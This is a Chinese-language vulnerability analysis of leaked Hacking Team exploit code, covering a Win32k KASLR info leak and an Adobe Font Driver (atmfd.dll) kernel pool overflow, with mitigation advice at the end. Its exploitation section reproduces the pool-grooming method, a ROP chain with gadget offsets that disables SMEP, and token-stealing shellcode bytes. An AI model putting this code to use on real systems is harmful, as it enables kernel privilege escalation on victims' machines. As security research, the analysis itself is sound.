Hacking Team攻擊程式碼分析Part5 Adobe Font Driver核心許可權提升漏洞第二彈+Win32k KALSR繞過漏洞
作者:360Vulcan Team成員: MJ0011、pgboy
0x00 前言
繼360Vulcan上週分析了Hacking Team洩露資訊中曝光的三個Flash漏洞和一個Adobe Font Driver核心漏洞後(連結見文後)。 Hacking Team洩露資訊中仍在不斷被發現存在新的攻擊程式碼和0day漏洞。7月12日,Twitter上安全研究人員@vlad902
公佈了Hacking Team的郵件(https://wikileaks.org/hackingteam/emails/emailid/974752
)中可能的一處Windows許可權提升漏洞,並將其攻擊程式碼上傳到Github上(https://github.com/vlad902/hacking-team-windows-kernel-lpe
)。
經過我們的分析,該攻擊程式碼中包含了兩個Windows核心模式驅動的0day漏洞,其中一個是針對Windows核心驅動Win32k.sys的一處安全特性(KASLR)的繞過漏洞,另一個是針對Adobe字型驅動(atmfd.dll)的一處核心池溢位引發的核心程式碼執行漏洞。
0x01 漏洞原理分析:
透過簡單瀏覽攻擊程式碼,我們知道攻擊程式碼運用了一處Win32k.sys
中的KASLR繞過漏洞獲得Win32k的基地,並組織ROP鏈,同時,載入一個字型檔案(font-data.bin)來利用字型驅動漏洞,觸發ROP鏈,最終完成攻擊。
0x02 Win32k.sys KASLR繞過漏洞
在Windows8.1以上的系統上,微軟增強了針對KALSR的緩和能力,對於低完整性級別及以下的程式,禁止獲得系統核心模組的地址資訊,來緩和核心漏洞針對IE沙盒等安全機制的攻擊。在360Vulcan Team 5月的部落格《談談15年5月修復的三個0day》(http://blogs.360.cn/blog/fixed_three_0days_in_may/
)中,我們比較詳細地介紹了這類問題的的背景,以及一個和本次漏洞類似的CNG.sys KASLR
繞過漏洞CVE-2015-1674
。 這裡Hacking Team所使用的是一個win32k處理字型資訊時的棧未初始化導致的資訊洩露漏洞。
我們結合原始碼的win32k_infoleak()
函式中可以瞭解, win32k用於獲取文字字型資訊的核心呼叫NtGdiGetTextMetricsW->GreGetTextMetrics->bGetTextMetrics
會針對DC物件返回一個內部結構到存放tagTEXTMETRIC
結構的輸出快取中。
透過分析bGetTextMetrics
的實現我們可以得知,該函式首先檢查字型物件中用於快取tagTEXTMETRIC
結構的一處指標是否為空,如果不為空,就直接使用這裡儲存的字型資訊,這樣可以加快頻繁呼叫的GetTextMetricsW
的效能。
如果快取的結構為空,那麼該函式會呼叫bIFIMetricsToTextMetricW
來獲取字型資訊,並且使用PALLOCMEM2分配一塊快取結構記憶體,儲存到字型物件中,以供下次查詢加快速度。
這套邏輯在複製0x38偏移時,存在一處對齊引發的棧資訊洩露問題,我們來看MSDN中對於tagTEXTMETRIC的定義(https://msdn.microsoft.com/en-us/library/aa911401.aspx
),可以看到 0x38
偏移就是這個資料結構的最後一個成員tmCharSet
,它的型別是BYTE,長度1個位元組,而這裡資料結構為了對齊,會補充7個位元組,以便實現8位元組對齊(x86系統上補充3個位元組),就是這個資料結構對齊問題引發了這裡的資訊洩露。
在bIFIMetricsToTextMetricW
函式中,會使用外部bGetTextMetrics
提供的棧空間來儲存獲得的tagTEXTMETRIC
結構,在儲存前,函式並沒有將棧中資料全部初始化,因此補齊的7個位元組仍是其他函式遺留在棧空間中的,在後面複製到分配的用於快取的堆記憶體中時,也將這部分資料一起復制了過去。
這就導致之前在棧中存放的其它函式的資訊,被存入快取的tagTEXTMETRIC
結構中, 下次程式再透過NtGdiGetTextMetricsW
獲取時,就會獲取到這些資訊,如果棧中的資訊恰好是核心地址資訊,就會導致核心模組的資訊洩露。
經過除錯發現,目前最新補丁的Windows8.1 x64
上,在首次呼叫並儲存快取結構時,這裡的棧位置恰好儲存了win32k!SetOrCreateRectRgnIndirectPublic+0x42
函式的一處返回地址, 由於這裡只有7個位元組的地址資訊,低8位會被修改為tmCharSet的數值(一般是0),因此最後透過NtGdiGetTextMetricsW
獲取的,會是再往上一點的RGNOBJ::UpdateUserRgn
這個函式結尾處的垃圾對齊空間的位置。
這個漏洞顯然遠不如之前我們提到的CNG.SYS
的洩露漏洞好用:
首先,棧上的資訊可能因為呼叫路徑或其他原因改變而不穩定,經過我們測試,這裡的棧位置在某些呼叫路徑下,並不是返回地址,而是其他的垃圾資料,這就會直接導致這個漏洞失效; 其次,Win32k的版本過多程式碼變動複雜,這個RGNOBJ::UpdateUserRgn的位置隨時在變動,在低完整性級別下攻擊程式碼還可以透過識別win32k.sys
的版本做調整,在AppContainers(EPM)
或Untrust級別下,就無法做到這點,只能硬猜,這也是為什麼目前Github上的攻擊程式碼不能在最新的全補丁Windows 8.1 x64
上工作的原因:這個函式的位置發生了變動。
鑑於目前看到的這個攻擊程式碼同上一個Hacking Team洩露的Windows核心許可權提升漏洞的已經成熟“商用”的攻擊程式碼不同,還只是出於演示目的的、存在很多硬編碼的示例程式碼,因此很可能以後攻擊程式碼的作者會使用更穩定、更好用的地址洩露漏洞來替換這個漏洞。畢竟,微軟才剛剛意識到這類問題的嚴重性,核心中還存在很多類似的漏洞和問題。
#0x03 Adobe Font Driver(atmfd.dll)核心池溢位漏洞
接下來我們來分析這個攻擊程式碼中的重頭戲:字型漏洞, 我們可以看到,在攻擊程式碼中使用了AddFontMemResourceEx函式來載入了font-data.bin這個OTF字型檔案,我們嘗試在Windows 7系統上將這個檔案改名為.otf檔案(Explorer在渲染這個檔案時也會載入它),系統立即藍色畫面崩潰,但是在Windows8.1 x64系統上,則不會出現這個情況,是不是Windows 8.1中已經修補了這個漏洞?
我們再進一步驗證,在Windows7系統上藍色畫面崩潰時,我們看到藍色畫面的程式碼是0x19 BAD_POOL_HEADER
,看上去這似乎是一個Windows核心池的溢位漏洞,那麼是不是在Windows 8.1上這個漏洞所溢位的核心池恰好沒有被用到而導致不容易觸發崩潰呢?
我們開啟Driver Verifier工具,針對win32k.sys開啟Speical Pool功能。關於驅動校驗器的這個功能,可以參考微軟MSDN的介紹:https://msdn.microsoft.com/en-us/library/windows/hardware/ff551832(v=vs.85).aspx
,這個功能類似使用者模式中的Page Heap功能,會將指定模組分配的Windows核心池放入特殊的記憶體位置,使得這類核心池的溢位在第一時間被發現,開啟了這個功能後,我們如願地在Windows 8.1 x64上100%觸發這個漏洞的藍色畫面崩潰。
我們可以看到這個崩潰的棧(這裡是在桌面瀏覽字型檔案觸發,因此是 NtGdiAddFontResourceW
函式)
atmfd
….
win32k!atmfdLoadFontFile
win32k!PDEVOBJ::LoadFontFile
win32k!vLoadFontFileView
win32k!PUBLIC_PFTOBJ::bLoadFonts
win32k!GreAddFontResourceWInternal
win32k!NtGdiAddFontResourceW
這裡可以看得很清楚,這是在win32k.sys驅動載入這個字型檔案,在PUBLIC_PFTOBJ::bLoadFonts函式中,win32k.sys會將字型對映到核心中,進行一些字型物件的處理後,會呼叫這個字型對應的字型驅動,這裡的這個adobe OTF字型最終就觸發了atmfdLoadFontFile這個函式,這個函式atmfd.dll會輸出的載入字型介面的封裝,最後就進入atmfd.dll的程式碼中執行,實現最終的字型載入過程。
atmfd.dll是Adobe的程式碼編譯的驅動,這裡微軟並沒有給這個驅動提供符號檔案,因此針對它的分析相對困難一些。我們透過分析程式碼的執行流程,結合核心除錯和字型分析工具(如T2F Analyzer),進一步深入分析atmfd.dll中的處理這個字型,最終觸發漏洞的過程(以Windows 8.1 x64上最新補丁的atmfd.dll為例):
- 透過
win32k!atmfdLoadFontFile
進入atmfd中的+0x13DE0
位置函式,我們稱其為AtmfdLoadFont,這裡是atmfd.dll中的載入字型介面,會識別字型的格式型別,填充相關的字型結構,並交給下面的進一步載入字型的函式來處理 - 透過AtmfdLoadFont進入偏移
+0x178F0
的函式,我們稱其為AtmfdLoadFontInternal,該函式進一步分析和處理字型的資訊(如字型的檔案時間),並透過EngMapFontFile等函式對映字型檔案到核心,對映完成後,這個函式判斷字型的型別為OTF,接著會進入一個專門處理OTF字型資訊的函式中。 - 透過AtmfdLoadFontFileInternal進入偏移
+0x17D55
的位置,我們稱其為ProcessOTFFontInfo,該函式開始分析字型檔案各個表的內容,接著我們看到有一個專門處理’GPOS‘這個表的FeatureList中標記為”kern”(kerning,用於處理字距)的FeatureTag的FeatureRecord的相關函式。 - 進入這個專門處理”kern“的FeatureRecord的函式,偏移
+0x23128
,我們稱其為ProcessKerningRecord。到了這個函式就進入了這裡比較關鍵和複雜的細節。
這個函式會分析針對GPOS表的FeatureList,找到FreatureTag為”kern”的FeatureRecord,然後檢查其FeatureTable的Lookups,找到有效的Lookups後,該函式開始分析每個Lookups的LookupTable,每個Lookups可以有多個LookupTable,其中每個LookupTable又可以有多個SubTable,根據不同的SubTable的PosFormat,函式會進行不同的處理,其中針對SubTable的PosFormat = 2的情況,會進入一個專門處理這個Format的函式
5.剛才說到當PosFormat= 2
時會進入專門的處理SubTable函式,這裡偏移是0x22A9C,我們稱其為ProcessFormat2SubTable,這裡也就是這個漏洞的本質原因的地方了,在這個函式中,會根據SubTable的Class1Count和Class2Count計算需要的長度,計算的方式是0x20 * ClassXCount = 記憶體長度
,即0x20長度一個item,然後分配對應長度的記憶體,接著偏移0x21d08的函式(我們稱其為CopyClassDefData)會呼叫將SubTable的ClassDef1和ClassDef2中的資料複製到這些記憶體中,同時,在這些記憶體的第一個item會複製到一個0x20位元組的特殊資料。
這段邏輯的反編譯程式碼如下:
#!c+
01 Class1DefBuf = AllocMemory(32i64 * (unsigned int)Class1Count, v23, 1, 1);
02 if ( Class1DefBuf )
03 {
04 Class2DefBuf = AllocMemory(32i64 * Class2Count, v24, 1, 1);
05 if ( Class2DefBuf )
06 {
07 Class1DefSrc = *(_BYTE *)(SubTableObject + 9) | (unsigned __int16)(*(_WORD *)(SubTableObject + 8) << 8);
08 LODWORD(v50) = Class1Count;
09 v55 = CopyClassDefData(
10 SubTableObject,
11 Class1DefSrc,
12 TableEnd,
13 GlyphsCount,
14 (__int64)v50,
15 (__int64)arg_40,
16 FirstBuf,
17 Class1DefBuf);
18 if ( v55 == 1 )
19 {
20 v55 = 0;
21 Class2DefSrc = *(_BYTE *)(SubTableObject + 11) | (unsigned __int16)(*(_WORD *)(SubTableObject + 10) << 8);
22 v27 = Class2Count;
23 LODWORD(v50) = Class2Count;
24 v55 = CopyClassDefData(
25 SubTableObject,
26 Class2DefSrc,
27 TableEnd,
28 GlyphsCount,
29 (__int64)v50,
30 (__int64)arg_40,
31 FirstBuf,
32 Class2DefBuf);
其中,AllocateMemory(偏移0x28080
)是對win32k.sys
輸出的EngAllocMem
的一個封裝,這也是為什麼我們針對win32k.sys設定校驗器也可以抓到atmfd的核心池溢位的原因: atmfd.dll
最終的記憶體分配也是靠win32k.sys(EngAllocMem)
實現的。
這裡封裝的AllocateMemory
有一個特別的特性,也是造成這個漏洞可以觸發的原因之一:分配記憶體的長度如果=0,這裡並不會失敗,因為這個封裝中永遠會將分配的記憶體長度+8,並將前面兩個DWORD,8個位元組分別填充為:長度 , 和’ebdA'(Adobe的縮寫tag),將實際分配的記憶體位置+8 ,再返回給呼叫者。
也就是說, 當這裡的AllocateMemory邏輯中, Class1Count或Class2Count等於0 ,要求分配0位元組長度的記憶體時,這裡並不會失敗(函式邏輯檢查了記憶體分配失敗的情況),而是繼續執行, 下面的CopyClassDefData函式實際獲得的是一個有效長度為0的快取。 這裡程式碼編寫者沒有檢查或處理Class1Count為0的情況,同時,AllocateMemory又掩蓋了Class1Count為0的這個錯誤,讓函式繼續執行下去,這裡是程式碼編寫者所犯的第一個錯誤。
即使分配了錯誤長度的記憶體,如果後面的複製過程嚴格按照Class1Count來實現,這裡也不會存在問題,但是這裡程式碼編寫者接著犯了第二個錯誤,如剛才上面所說,CopyClassDefData函式會給第一個ClassBuf的item複製一個item大小(0x20)的特殊資料。這裡CopyClassDefData並沒有檢查Class1Count是否為0,就直接將資料複製到目標記憶體的第一個item的位置上,由於複製的大小超過了分配的大小,就自然造成了堆溢位,覆蓋到核心池後面的資料。
我們使用T2F Analyzer
可以看到這個漏洞字型的異常資料結構,首先使用T2F Analyzer
開啟存在漏洞的字型檔案。
需要注意的是,T2F Analyzer
在解析字型的過程後期還是會使用AddFontResouceExA
來載入字型到核心,導致直接使用這個工具在沒補丁的系統上開啟漏洞字型檔案會崩潰,這裡簡單使用偵錯程式斷下AddFontResourceExA
,阻止載入字型檔案就可以繼續使用它的解析功能了。
首先,我們開啟這個字型檔案,找到Advanced Typography Tables->GPOS Table
,開啟FeatureList,可以看到FeatureTag是”kern”的FeatureRecord,這個FeatureRecord的LookupCount = 1
,它的LookupIndex = 1
我們開啟LookupList,檢視這個Index = 1的Lookup:
正如我們前面推測的,這裡的Class1Count
就是=0 , 也就是觸發這個漏洞的根本原因。
0x04 漏洞利用
介紹了Adobe Font Driver的這個核心池溢位漏洞,接下來我們就看看攻擊程式碼是如何利用這個漏洞,最終實現核心程式碼執行,提升許可權的。
在攻擊程式碼中,作者利用了核心的堆風水技術,來確保這個核心池溢位最終覆蓋到我們指定的物件。
首先,攻擊程式碼中會分配大量的(5000個)Accelerator Table
物件。這樣做使其後面物件的在一段連續的記憶體。在Windows8 x64上,Accelerator Table
物件的大小為0x28。 然後,攻擊程式碼在剛才分配出來的Accelerator Table
物件的中間靠後位置(3600-4600)進行釋放。
在釋放了這些Accelerator Table
之後,會使用CreateDCompositionHwndTarget
建立CHwndTargetProp
物件。
CHwndTargetProp
物件及其對應的分配、釋放函式CreateDCompositionHwndTarget/DestroyDCompositionHwndTarget
是微軟從Windows8開始引入的一套針對視窗的”構圖“物件管理函式,是Windows8以來微軟新的UI系統的一部分,僅提供給一些內部的函式使用,我們在建立這些物件時,還需要建立對應的視窗物件。
作者精心選擇CHwndTargetProp
物件的原因是,它和Accelerator Table物件的大小一樣,都是0x28位元組,這樣正好就將剛才釋放的Accelerator Table
的記憶體給佔住。
接著,攻擊程式碼再從剛才分配CHwndTargetProp
物件的中間位置,釋放指定個數,這樣在Accelerator Table
區域中 的CHwndTargetProp
區域裡, 再次製造記憶體空洞。
在載入字型的過程中, 分配小記憶體的ClassDefBuf
時,就落入設定好的空洞中,接著核心池溢位,就會覆蓋後面CHwndTargetProp
的資料內容。
整個核心池的佈局操控過程如下圖所示:
由於Windows8以後微軟已經移除了很多Win32k中的結構資訊,因此CHwndTargetProp
的資料結構只能透過猜測來分析,我們使用核心偵錯程式分析一個CHwndTargetProp
物件:
kd> dps fffff901443cdf40
fffff901`443cdf40 fffff960`00526d00 win32k!CHwndTargetProp::`vftable’
fffff901`443cdf48 fffff901`4082d9b0
fffff901`443cdf50 00000000`00000000
fffff901`443cdf58 ffffe001`2ed25d60
fffff901`443cdf60 00000000`00000000
fffff901`443cdf68 00000000`00000001
可以看到開頭是一個虛表的地址,我們檢視這個虛表的成員如下:
kd> dps fffff960`00526d00
fffff960`00526d00 fffff960`0031f470 win32k!CHwndTargetProp::Delete
fffff960`00526d08 fffff960`003b1378 win32k!CHwndTargetProp::GetAtom
fffff960`00526d10 48273f8a`8c7ed206
fffff960`00526d18 6cfcae1f`9eaeabb3
前面我們說到,載入字型過程中賦值記憶體可以覆蓋後面的物件,因為我們已經經過了精心的堆佈局,因此我們可以就可以覆蓋特定的CHwndTargetProp
的虛表,來實現將其虛表成員函式替換為我們想要執行的函式。 這裡字型中覆蓋的資料內容為固定的0x0000000042005000
,那麼透過在這個固定的記憶體位置構架假的虛表,我們就可以獲得執行許可權 我們可以看到,在攻擊程式碼中,在固定位置(PAYLOAD_BASE)分配記憶體,並構建假的虛表的過程:
#!c++
1 #define PAYLOAD_BASE 0x42000000
2
3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX [win32k!CHwndTargetProp::Delete]
4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. [win32k!CHwndTargetProp::GetAtom]
當CHwndTargetProp
的虛表被覆蓋後,攻擊程式碼再呼叫DestroyDCompositionHwndTarget
函式來釋放CHwndTargetProp
,此時最終呼叫到核心中,就會跳轉到攻擊程式碼已經設定好的虛表函式。
整個過程中,會先呼叫win32k!CHwndTargetProp::GetAtom
然後再呼叫win32k!CHwndTargetProp::Delete
。
總共過程中會有3次呼叫到CHwndTargetProp
的虛表函式:
DestroyDCompositionHwndTarget過程:
第一次: win32k!CHwndTargetProp::GetAtom
第二次: win32k!CHwndTargetProp::Delete
DeatoryWindow過程:
第三次:win32k!CHwndTargetProp::Delete
為了繞過Windows8 系統的SMEP保護,這裡虛表函式不能使用位於ring3的ShellCode,因此需要使用win32k.sys
中的程式碼片段構建ROP,關閉SMEP, 這也就是為什麼攻擊程式碼中需要利用我們一開始說的win32k.sys的KASLR繞過漏洞: 為了構建這裡所需要的ROP鏈。 整個構建ROP鏈的過程如下:
第一步:獲取ntoskrnl的函式地址,這裡是透過洩露的win32k.sys的地址,硬編碼得到win32k.sys中對ntoskrnl!ExAllocatePoolWithTag
的匯入表的地址,然後操作ROP鏈讀取函式地址:
#!c++
1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab; // pop rax # ret (RAX is source for our write)
2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156; // pop rcx # ret (RCX is destination for our write)
4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100; // pop into rcx (memory to write leaked address)
5 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
第二步:因為後面的流程還會調到虛表,必須先修復棧,讓第二次呼叫函式正常返回。
#!c++
01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db; // pop rbx # ret
02 *(ULONGLONG*)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100; // this will clobber the existing vTable object pointer (RBX) ---------------------
03 // |
04 // Setup the new fake vTable at 0x42005100. We don't do anything interesting |
05 // with the second call. We just want it to return nicely. |
06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110; // double-dereference to get to gadget (actual ROP chain |
07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110; // (arbitrary pointer to pointer) continues here) |
08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314; // (`RET` gadget) |
09 // |
10 // Resume execution. Restore original stack pointer. |
11 *(ULONGLONG*)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
12 *(ULONGLONG*)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156; // pop rcx # ret
13 *(ULONGLONG*)(PAYLOAD_BASE + 0x5058) = 0x8; // pop into rcx
14 *(ULONGLONG*)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer)
15 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret
第三步,根據ntoskrnl!ExAllocatePoolWithTag
的地址硬編碼計算出ntoskrnl.exe
的基址
#!c++
1 ExAllocatePoolWithTag_offset = 0x2a3a50;
2 nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset;
第四步,找到ntoskrnl的基址,是為了利用其中操作cr4 SMEP位的程式碼,關閉SMEP,所以這步就是構建ROP鏈,關閉SMEP,這裡的rop鏈是透過DestroyWindow
觸發的
#!c++
01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
02 *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141; // filler
03 *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141; // filler
04 *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141; // filler
05 *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141; // filler
06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab; // pop rax # ret
07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = 0x406f8; // pop into rax, cr4 value
08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
09 *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141; // filler
10 *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141; // filler
11 *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141; // filler
12 *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141; // filler
13 *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141; // filler
1 第五步,這裡SMEP已經關閉,直接跳轉到使用者模式的ShellCode,並且真的去刪除CHwndTargetProp物件
1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE; // return to userland and win!
2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010; // CHwndTargetProp::Delete(void)
第六步,最後執行使用者模式ShellCode,這裡就簡單了,攻擊程式碼中的ShellCode是一個簡單的替換本程式token為winlogon的System Token的程式碼:
#!c++
01 char sc[] = {
02 '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
03 '\x41', '\x51', // push r9 save regs
04 '\x41', '\x52', // push r10
05 '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
06 '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
07 '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
08 '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
09 '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
10 '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
11 '\x75', '\xe5', // jnz $a no? then keep searching!
12 '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
13 '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
14 '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
15 '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
16 '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
17 '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
18 '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
19 '\x41', '\x5A', // pop r10 restore regs
20 '\x41', '\x59', // pop r9
21 '\x41', '\x53', // push r11, pointer near to original stack
22 '\x5C', // pop rsp
23 '\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00', // add rsp, 0x168, restore original kernel rsp
24 '\x4C', '\x89', '\x3C', '\x24', // mov [rsp], r15, restore original return address
25 '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
26 0
27 };
0x05 漏洞緩解
近期atmfd字型漏洞氾濫,建議禁用atmfd.dll (直接將其改名即可)。對於Windows 10使用者,可以使用緩和策略阻止非信任字型載入,這個功能在今年1月我們介紹過(http://blogs.360.cn/blog/windows10_font_security_mitigations/
),微軟5月將其文件化:https://msdn.microsoft.com/en-us/library/dn985836%28v=vs.85%29.aspx
相關文章
- Hacking Team攻擊程式碼分析Part 3 : Adobe Font Driver核心驅動許可權提升漏洞2020-08-19
- Hacking Team攻擊程式碼分析2020-08-19
- Hacking Team攻擊程式碼分析Part 4: Flash 0day漏洞 CVE-2015-51222020-08-19
- Linux核心許可權提升漏洞“DirtyPipe”(CVE-2022-0847)分析2022-03-11Linux
- 白 - 許可權提升和漏洞利用技巧2023-03-08
- QNAP升級漏洞可致攻擊者獲得管理員許可權並注入惡意程式碼2022-03-17
- 眾至科技:漏洞通告 | 微軟10月釋出多個安全漏洞;Apache Shiro許可權繞過漏洞;Apache Commons存在程式碼執行漏洞2022-10-17微軟Apache
- 超過40個Windows裝置驅動程式包含提升許可權的漏洞2019-08-12Windows
- PrintNightmare漏洞補丁再被繞過!新的手段可獲得Windows管理員許可權2021-08-03Windows
- 研究發現超過 40 個 Windows 裝置驅動程式包含提升許可權的漏洞2019-08-12Windows
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- 齊博cms最新SQL隱碼攻擊網站漏洞可遠端執行程式碼提權2018-10-25SQL網站行程
- 可獲取管理員許可權,聯想公佈兩個特權提升漏洞2021-12-17
- SPLWOW64許可權提升漏洞(CVE-2020-17008)復現2020-12-27
- Metasploit之後滲透攻擊(資訊收集、許可權提升)2020-09-28
- Java安全之Filter許可權繞過2021-05-23JavaFilter
- 研究人員發現macOS隱私保護重大漏洞 攻擊者可繞過蘋果隱私保護核心機制2021-08-09Mac蘋果
- Hacking Team漏洞大範圍掛馬,上百萬電腦中招2020-08-19
- Wordpress4.2.3提權與SQL隱碼攻擊漏洞(CVE-2015-5623)分析2020-08-19SQL
- PJzhang:CVE-2020-1472微軟NetLogon許可權提升漏洞~復現2020-09-28微軟Go
- GitHub Actions安全漏洞可使攻擊者繞過程式碼審查機制 影響受保護分支2021-10-18Github
- 【漏洞分析】ReflectionToken BEVO代幣攻擊事件分析2023-05-09事件
- Joomla CMS 3.2-3.4.4 SQL隱碼攻擊 漏洞分析2020-08-19OOMSQL
- weblogic許可權繞過/遠端命令執行漏洞復現(CVE-2020-14482、CVE-2020-14883)2020-12-03Web
- Nacos Derby SQL隱碼攻擊漏洞2024-06-27SQL
- Redis漏洞攻擊植入木馬逆向分析2020-08-19Redis
- 滲透Hacking Team過程2020-08-19
- 新iPhone漏洞,可繞過密碼訪問聯絡人和照片2018-10-05iPhone密碼
- 每日安全資訊:全部 Docker 版本都存在漏洞,允許攻擊者獲得主機 root 訪問許可權2019-05-31Docker訪問許可權
- 微軟Wind10更新助手存在漏洞:黑客可執行SYSTEM許可權程式碼2019-10-12微軟黑客
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊2019-10-28PHP黑客
- Linux因15年前的核心漏洞被獲得 Root 許可權2021-03-28Linux
- 關於Ghostscript SAFER沙箱繞過漏洞的分析2018-08-31
- 7-Zip 曝出零日安全漏洞!通過“模仿副檔名”向攻擊者提供管理員許可權2022-04-27
- 關於 Linux Polkit 許可權提升漏洞(CVE-2021-4034)的修復方法2022-03-18Linux
- 思科UC第三方工具現3個高危漏洞 攻擊者或可執行最高許可權2021-06-28
- 微軟Wind10更新助手存在漏洞:駭客可執行SYSTEM許可權程式碼2019-10-12微軟
- Mura CMS processAsyncObject SQL隱碼攻擊漏洞2024-05-14ObjectSQL